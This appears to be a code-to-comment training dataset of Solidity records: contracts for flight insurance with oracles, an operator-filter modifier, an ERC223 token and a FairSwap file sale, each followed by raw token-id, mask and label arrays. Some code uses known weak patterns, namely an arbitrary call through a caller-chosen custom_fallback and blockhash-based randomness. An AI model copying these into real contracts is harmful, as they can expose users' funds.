function registerAirline(address account, string calldata airlineName)
external payable
paidEnough()
returns(bool success)
{
// registeredCount: Check to see how many airlines are already registered
// registeredCount < 4, automatically register airline
if (fsData.getMemberCount() <= 4) {
require(!fsData.isAirlineRegistered(account), "Airline is already registered.");
require(fsData.isAirlineRegistered(msg.sender), "Airline must be registered by another airline.");
fsData.registerAirline(account, airlineName, true, msg.sender);
return (true);
} else {
uint currentMembers = fsData.getMemberCount();
uint votesNeeded = calcVotesNeeded(currentMembers);
currentVotesNeeded = votesNeeded;
uint currentVoteCount = fsData.getVoteCount(account);
require(currentVoteCount >= votesNeeded, "You do not have enough votes yet"); // check for voteCount > 50% of member count
fsData.approveAirline(account); // assuming it is, call approve airline
}
}
/** Register Flight
* @dev Register a future flight for insuring.
*
*/
function registerFlight
(
)
external
pure
{
}
/** Process Flight Status
* @dev Called after oracle has updated flight status
*
*/
function processFlightStatus
(
address airline,
string memory flight,
uint256 timestamp,
uint8 statusCode
)
internal
pure
{
}
// Generate a request for oracles to fetch flight information
function fetchFlightStatus
(
address airline,
string calldata flight,
uint256 timestamp
)
external
{
uint8 index = getRandomIndex(msg.sender);
// Generate a unique key for storing the request
bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp));
oracleResponses[key] = ResponseInfo({
requester: msg.sender,
isOpen: true
});
emit OracleRequest(index, airline, flight, timestamp);
}
/********************************************************************************************/
/* region ORACLE MANAGEMENT */
/********************************************************************************************/
// Incremented to add pseudo-randomness at various points
uint8 private nonce = 0;
// Fee to be paid when registering oracle
uint256 public constant REGISTRATION_FEE = 1 ether;
// Number of oracles that must respond for valid status
uint256 private constant MIN_RESPONSES = 3;
struct Oracle {
bool isRegistered;
uint8[3] indexes;
}
// Track all registered oracles
mapping(address => Oracle) private oracles;
// Model for responses from oracles
struct ResponseInfo {
address requester; // Account that requested status
bool isOpen; // If open, oracle responses are accepted
mapping(uint8 => address[]) responses; // Mapping key is the status code reported
// This lets us group responses and identify
// the response that majority of the oracles
}
// Track all oracle responses
// Key = hash(index, flight, timestamp)
mapping(bytes32 => ResponseInfo) private oracleResponses;
// Event fired each time an oracle submits a response
event FlightStatusInfo(address airline, string flight, uint256 timestamp, uint8 status);
event OracleReport(address airline, string flight, uint256 timestamp, uint8 status);
// Event fired when flight status request is submitted
// Oracles track this and if they have a matching index
// they fetch data and submit a response
event OracleRequest(uint8 index, address airline, string flight, uint256 timestamp);
// Register an oracle with the contract
function registerOracle
(
)
external
payable
{
// Require registration fee
require(msg.value >= REGISTRATION_FEE, "Registration fee is required");
uint8[3] memory indexes = generateIndexes(msg.sender);
oracles[msg.sender] = Oracle({
isRegistered: true,
indexes: indexes
});
}
function getMyIndexes
(
)
view
external
returns (uint8[3] memory)
{
require(oracles[msg.sender].isRegistered, "Not registered as an oracle");
return oracles[msg.sender].indexes;
}
// Called by oracle when a response is available to an outstanding request
// For the response to be accepted, there must be a pending request that is open
// and matches one of the three Indexes randomly assigned to the oracle at the
// time of registration (i.e. uninvited oracles are not welcome)
function submitOracleResponse
(
uint8 index,
address airline,
string calldata flight,
uint256 timestamp,
uint8 statusCode
)
external
{
require((oracles[msg.sender].indexes[0] == index) || (oracles[msg.sender].indexes[1] == index) || (oracles[msg.sender].indexes[2] == index), "Index does not match oracle request");
bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp));
require(oracleResponses[key].isOpen, "Flight or timestamp do not match oracle request");
oracleResponses[key].responses[statusCode].push(msg.sender);
// Information isn't considered verified until at least MIN_RESPONSES
// oracles respond with the *** same *** information
emit OracleReport(airline, flight, timestamp, statusCode);
if (oracleResponses[key].responses[statusCode].length >= MIN_RESPONSES) {
emit FlightStatusInfo(airline, flight, timestamp, statusCode);
// Handle flight status as appropriate
processFlightStatus(airline, flight, timestamp, statusCode);
}
}
// Returns array of three non-duplicating integers from 0-9
function generateIndexes
(
address account
)
internal
returns(uint8[3] memory)
{
uint8[3] memory indexes;
indexes[0] = getRandomIndex(account);
indexes[1] = indexes[0];
while(indexes[1] == indexes[0]) {
indexes[1] = getRandomIndex(account);
}
indexes[2] = indexes[1];
while((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) {
indexes[2] = getRandomIndex(account);
}
return indexes;
}
// Returns array of three non-duplicating integers from 0-9
function getRandomIndex
(
address account
)
internal
returns (uint8)
{
uint8 maxValue = 10;
// Pseudo random number...the incrementing nonce adds variation
uint8 random = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - nonce++), account))) % maxValue);
if (nonce > 250) {
nonce = 0; // Can only fetch blockhashes for last 256 blocks so we adapt
}
return random;
}
/********************************************************************************************/
/* END region ORACLE MANAGEMENT */
/********************************************************************************************/
}
contract FsData {
// Placeholder for Interface to Data Contract
struct Airline {
string name;
address aAccount; // wallet address, used to uniquely identify the airline account
bool isRegistered; // allows to de-register an airline
}
mapping(address => Airline) airlines;
function registerAirline(address account, string calldata airlineName, bool approvalStatus, address msgSender) external {} // interface
function isAirlineRegistered(address account) external returns (bool) {} // interface into data contract
function getMemberCount() external returns(uint) { } // interface into data contract
function isAirlineApproved(address account) external returns(bool) {} // interface into data contract
function hasVoted(address nominatingAirline, address nominee) external returns (bool) {} // interface into data contract
function nominateAirline(address nominatingAirline, address nominee) external {} // interface
function approveAirline(address account) external {} // interface
function getVoteCount(address account) external returns(uint) {} //interface
function getFlightKey(address airline, string calldata flight, uint256 timestamp) pure external returns(bytes32) {} // interface
function hasFlightPolicy(address account, bytes32 flightKey) external returns(bool) {} // interface
function buy (address account, string calldata flightNumber, uint premiumPaid, bytes32 flightKey) external {} //interface
function creditInsuree(address account, uint payout, bytes32 flightKey) external {} //interface
function getPolicy(address account, bytes32 flightKey) external returns(address, string memory, uint, bool,bytes32) {} // interface
function getCreditAmount(address account) external returns (uint) {} // interface
}
|
register a new airline but do not approve
|
fsData.registerAirline(account, airlineName, false, msg.sender);
| 12,789,797 |
[
1,
4861,
279,
394,
23350,
1369,
1496,
741,
486,
6617,
537,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
2662,
751,
18,
4861,
29752,
1369,
12,
4631,
16,
23350,
1369,
461,
16,
629,
16,
1234,
18,
15330,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/421613/0xd6061b1141286b198B2cDB197c13C48DE01e2836/sources/contracts/PachiERC721/library/OperatorFiltererUpgradeable.sol
|
Check registry code length to facilitate testing in environments without a deployed registry. Allow spending tokens from addresses with balance Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred from an EOA.
|
modifier onlyAllowedOperator(address from) virtual {
if (operatorRestriction) {
if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
if (from == msg.sender) {
_;
return;
}
if (
!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(
address(this),
msg.sender
)
) {
revert OperatorNotAllowed(msg.sender);
}
}
}
_;
}
| 11,565,902 |
[
1,
1564,
4023,
981,
769,
358,
5853,
330,
305,
340,
7769,
316,
15900,
2887,
279,
19357,
4023,
18,
7852,
272,
9561,
2430,
628,
6138,
598,
11013,
3609,
716,
333,
4859,
5360,
666,
899,
471,
13667,
11350,
598,
2904,
492,
358,
7412,
2430,
309,
906,
4193,
628,
392,
512,
28202,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
9606,
1338,
5042,
5592,
12,
2867,
628,
13,
5024,
288,
203,
3639,
309,
261,
9497,
11670,
13,
288,
203,
5411,
309,
261,
2867,
12,
26110,
67,
11126,
67,
5937,
25042,
2934,
710,
18,
2469,
405,
374,
13,
288,
203,
7734,
309,
261,
2080,
422,
1234,
18,
15330,
13,
288,
203,
10792,
389,
31,
203,
10792,
327,
31,
203,
7734,
289,
203,
7734,
309,
261,
203,
10792,
401,
26110,
67,
11126,
67,
5937,
25042,
18,
291,
5592,
5042,
12,
203,
13491,
1758,
12,
2211,
3631,
203,
13491,
1234,
18,
15330,
203,
10792,
262,
203,
7734,
262,
288,
203,
10792,
15226,
11097,
19354,
12,
3576,
18,
15330,
1769,
203,
7734,
289,
203,
5411,
289,
203,
3639,
289,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.11;
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
contract ERC223 {
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
}
/**
* ERC223 token by Dexaran
*
* https://github.com/Dexaran/ERC223-token-standard
*/
/* https://github.com/LykkeCity/EthereumApiDotNetCore/blob/master/src/ContractBuilder/contracts/token/SafeMath.sol */
contract SafeMath {
uint256 constant public MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) {
if (x > MAX_UINT256 - y) revert();
return x + y;
}
function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) {
if (x < y) revert();
return x - y;
}
function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) {
if (y == 0) return 0;
if (x > MAX_UINT256 / y) revert();
return x * y;
}
}
contract ERC223Token is ERC223, SafeMath {
mapping(address => uint) balances;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
event TransferEvent(address indexed from, address indexed to, uint value, bytes indexed data);
constructor (address addr) public {
uint256 initialSupply = 1000000000;
name = "BlockMobaToken"; // Set the name for display purposes
symbol = "MOBA";
decimals = 6;
totalSupply = initialSupply * 10 ** uint256(decimals);
balances[addr] = totalSupply;
owner = msg.sender;
}
// Function to access name of token .
function name() public view returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data));
emit TransferEvent(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
emit TransferEvent(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit TransferEvent(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
|
Function to access total supply of tokens .
|
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
| 232,964 |
[
1,
2083,
358,
2006,
2078,
14467,
434,
2430,
263,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
2078,
3088,
1283,
1435,
1071,
1476,
1135,
261,
11890,
5034,
389,
4963,
3088,
1283,
13,
288,
203,
1377,
327,
2078,
3088,
1283,
31,
203,
225,
289,
203,
21281,
21281,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.23;
/*
This contract is an extension of the fileSale contract based on FairSwap(https://github.com/lEthDev/FairSwap).
It contains additionally methods for the challenge-response procedure.
*/
contract fileSale {
uint constant length = XXXLENGTHXXX; // lenght of one file chunk (value is multiplied with 32)
uint constant n = XXXNXXX; // number of file chunks
uint constant proofLength = XXXPROOFLENGTHXXX; // length of Merkle proofs
uint constant price = XXXPRICEXXX; // price given in wei
address public receiver = XXXADDRESSRECEIVERXXX;
address public sender;
bytes32 public keyCommit = XXXKEYCOMMITMENTXXX;
bytes32 public key;
bytes32 public chiphertextRoot = XXXCIPHERTEXTROOTXXX;
bytes32 public fileRoot = XXXFILEROOTXXX;
bytes32 public eRoot = XXXCOMPUTATIONROOTZXXX;
enum stage {start, active, initialized, revealed, challenged, responded, finalized}
stage public phase = stage.start;
uint public timeout;
uint public challengeLimit = XXXCHALLENGELIMITXXX;
uint constant feeSender = XXXSENDERFEEXXX; // sender fee given in wei
uint constant feeReceiver = XXXRECEIVERFEEXXX; // receiver fee given in wei
uint[] public recentChallenges;
struct Response {
uint index;
bytes32 value;
bytes32[proofLength] proof;
}
Response[] public recentResponses;
// function modifier to only allow calling the function in the right phase only from the correct party
modifier allowed(address p, stage s) {
require(phase == s);
require(msg.sender == p);
_;
}
// go to next phase
function nextStage(stage s) internal {
phase = s;
timeout = now + 10 minutes;
}
/*
* Initialization phase
*/
// constructor is initialize function
constructor () public {
sender = msg.sender;
nextStage(stage.active);
}
function accept() allowed(receiver, stage.active) payable public {
require (msg.value >= price);
nextStage(stage.initialized);
}
/*
* Abort during the Initialization phase
*/
// function abort can be accessed by sender and receiver
function abort() public {
if (phase == stage.active) selfdestruct(sender);
if (phase == stage.initialized) selfdestruct(receiver);
}
/*
* Revealing phase
*/
function revealKey (bytes32 _key) allowed(sender, stage.initialized) public {
require(keyCommit == keccak256(_key));
key = _key;
nextStage(stage.revealed);
}
/*
* Challenge-Response phase
*/
function challenge(uint[] _Q) payable public {
require(msg.sender == receiver);
require(phase == stage.revealed || phase == stage.responded);
require(_Q.length <= challengeLimit);
require(msg.value >= _Q.length * feeReceiver);
recentChallenges = _Q;
challengeLimit = challengeLimit - _Q.length;
nextStage(stage.challenged);
}
function respond(uint[] indices, bytes32[] values, bytes32[proofLength][] proofs) allowed(sender, stage.challenged) payable public {
require(indices.length == recentChallenges.length);
require(values.length == recentChallenges.length);
require(proofs.length == recentChallenges.length);
require(msg.value >= recentChallenges.length * feeSender);
delete recentResponses;
for (uint i = 0; i < recentChallenges.length; i++) {
Response memory r = Response(indices[i], values[i], proofs[i]);
recentResponses.push(r);
}
nextStage(stage.responded);
}
/*
* Finalization phase
*/
// function refund implements the 'challenge timeout', 'response timeout', and 'finalize' (executable by the sender) functionalities
function refund() public {
require(now > timeout);
if (phase == stage.revealed) selfdestruct(sender);
if (phase == stage.responded) selfdestruct(sender);
if (phase == stage.challenged) selfdestruct(receiver);
}
// function noComplain implements the 'finalize' functionality executed by the receiver
function noComplain() allowed(receiver, stage.revealed) public {
selfdestruct(sender);
}
// function complainAboutResponse implements 'complain' functionality
function complainAboutResponse() allowed(receiver, stage.responded) public {
for(uint i = 0; i < recentChallenges.length; i++) {
bool found = false;
Response memory r;
for(uint j = 0; j < recentResponses.length; j++) {
if (recentChallenges[i] == recentResponses[j].index) {
found = true;
r = recentResponses[j];
break;
}
}
if (found == false) {
selfdestruct(receiver);
} else {
if(vrfy(r.index, r.value, r.proof) == false) {
selfdestruct(receiver);
}
}
}
selfdestruct(sender);
}
// function complain about wrong hash of file
function complainAboutRoot (bytes32 _Zm, bytes32[proofLength] memory _proofZm) public {
require(msg.sender == receiver);
require(uint(phase) >= uint(stage.revealed));
require (vrfy(2*(n-1), _Zm, _proofZm));
if (cryptSmall(2*(n-1), _Zm) != fileRoot){
selfdestruct(receiver);
}
}
// function complain about wrong hash of two inputs
function complainAboutLeaf (uint _indexOut, uint _indexIn,
bytes32 _Zout, bytes32[length] memory _Zin1, bytes32[length] memory _Zin2, bytes32[proofLength] memory _proofZout,
bytes32[proofLength] memory _proofZin) public {
require(msg.sender == receiver);
require(uint(phase) >= uint(stage.revealed));
require (vrfy(_indexOut, _Zout, _proofZout));
bytes32 Xout = cryptSmall(_indexOut, _Zout);
require (vrfy(_indexIn, keccak256(_Zin1), _proofZin));
require (_proofZin[0] == keccak256(_Zin2));
if (Xout != keccak256(cryptLarge(_indexIn, _Zin1), cryptLarge(_indexIn+1, _Zin2))) {
selfdestruct(receiver);
}
}
// function complain about wrong gate computation
function complainAboutNode (uint _indexOut, uint _indexIn,
bytes32 _Zout, bytes32 _Zin1, bytes32 _Zin2, bytes32[proofLength] memory _proofZout,
bytes32[proofLength] memory _proofZin) public {
require(msg.sender == receiver);
require(uint(phase) >= uint(stage.revealed));
require (vrfy(_indexOut, _Zout, _proofZout));
bytes32 Xout = cryptSmall(_indexOut, _Zout);
require (vrfy(_indexIn, _Zin1, _proofZin));
require (_proofZin[0] == _Zin2);
if (Xout != keccak256(cryptSmall(_indexIn, _Zin1), cryptSmall(_indexIn+1, _Zin2))) {
selfdestruct(receiver);
}
}
// function to both encrypt and decrypt text chunks with key k
function cryptLarge (uint _index, bytes32[length] memory _ciphertext) public view returns (bytes32[length] memory){
_index = _index*length;
for (uint i = 0; i < length; i++){
_ciphertext[i] = keccak256(_index, key) ^ _ciphertext[i];
_index++;
}
return _ciphertext;
}
// function to decrypt hashes of the Merkle tree
function cryptSmall (uint _index, bytes32 _ciphertext) public view returns (bytes32){
return keccak256(n+_index, key) ^ _ciphertext;
}
// function to verify Merkle tree proofs
function vrfy(uint _index, bytes32 _value, bytes32[proofLength] memory _proof) public view returns (bool){
for (uint8 i = 0; i < proofLength; i++){
if ((_index & uint(1)<<i)>>i == 1)
_value = keccak256(_proof[proofLength -i], _value);
else
_value = keccak256(_value, _proof[proofLength -i]);
}
return (_value == chiphertextRoot);
}
}
|
number of file chunks
|
uint constant n = XXXNXXX;
| 14,085,322 |
[
1,
2696,
434,
585,
6055,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
